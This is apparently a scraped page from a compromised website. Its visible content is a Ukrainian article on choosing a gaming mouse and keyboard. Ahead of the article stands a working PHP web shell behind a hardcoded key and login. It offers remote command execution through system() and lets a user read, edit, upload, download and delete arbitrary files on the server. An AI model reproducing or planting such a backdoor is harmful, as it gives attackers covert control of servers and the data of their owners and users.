if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Як обрати ігрову мишу та клавіатуру – collectives.berlin

Your digital paradise.

Як обрати ігрову мишу та клавіатуру

Вибір ігрової миші та клавіатури є важливим етапом для кожного геймера, playexpert.net.ua оскільки ці пристрої суттєво впливають на комфорт і ефективність гри. У цьому звіті ми розглянемо ключові аспекти, на які слід звернути увагу при виборі цих аксесуарів.

Ігрова миша

  1. Тип сенсора: Існує два основних типи сенсорів: оптичні та лазерні. Оптичні миші зазвичай забезпечують кращу точність на різних поверхнях, тоді як лазерні миші можуть працювати на більшій кількості поверхонь, але іноді втрачають точність на певних текстурах. Рекомендується обирати оптичну мишу для більшості ігор.
  2. Чутливість (DPI): DPI (dots per inch) визначає, як швидко курсор реагує на рухи миші. Для ігор, що вимагають точності, краще обирати миші з можливістю налаштування DPI, адже це дозволить адаптувати чутливість під конкретні потреби.
  3. Кількість кнопок: Додаткові кнопки на миші можуть значно полегшити управління в іграх. Наприклад, миші з 6-12 кнопками дозволяють налаштувати швидкий доступ до різних функцій або здібностей у грі.
  4. Форма та ергономіка: Вибір форми миші залежить від способу, яким ви тримаєте її (кліп, пальці або долоня). Ергономічні моделі зручніші для тривалого використання, тому важливо протестувати кілька варіантів перед покупкою.
  5. Провідна чи безпровідна: Провідні миші зазвичай мають менше затримок, тоді як безпровідні моделі забезпечують більшу свободу руху. Сучасні безпровідні миші вже здатні конкурувати з провідними за швидкістю та точністю.

Ігрова клавіатура

  1. Тип механізмів: Існують мембранні, механічні та напівмеханічні клавіатури. Механічні клавіатури зазвичай вважаються найкращими для геймерів через їхню швидкість, точність і довговічність. Вибір типу механічних перемикачів (Cherry MX, Razer, Logitech) також вплине на тактильні відчуття при наборі.
  2. Підсвітка: Багато геймерів віддають перевагу клавіатурам з RGB-підсвіткою, оскільки це не лише естетично привабливо, але й дозволяє грати в темряві. Деякі моделі дозволяють налаштовувати кольори та ефекти підсвітки.
  3. Програмування клавіш: Можливість налаштування клавіш може бути дуже корисною в іграх. Багато клавіатур дозволяють програмувати макроси, що може значно спростити виконання складних комбінацій.
  4. Розмір і форма: Клавіатури бувають різних розмірів: повнорозмірні, компактні (tenkeyless) та ультракомпактні. Вибір залежить від ваших уподобань та наявності місця на столі.
  5. Ціна: Вартість ігрових мишей та клавіатур може варіюватися від бюджетних до преміум-моделей. Важливо знайти баланс між якістю і ціною, щоб отримати максимальну вигоду від покупки.

Висновок

Вибір ігрової миші та клавіатури – це індивідуальний процес, що залежить від особистих уподобань, стилю гри та бюджету. Рекомендується тестувати різні моделі перед покупкою, щоб знайти оптимальний варіант, який забезпечить комфорт та ефективність у грі.

Leave a Reply

Your email address will not be published. Required fields are marked *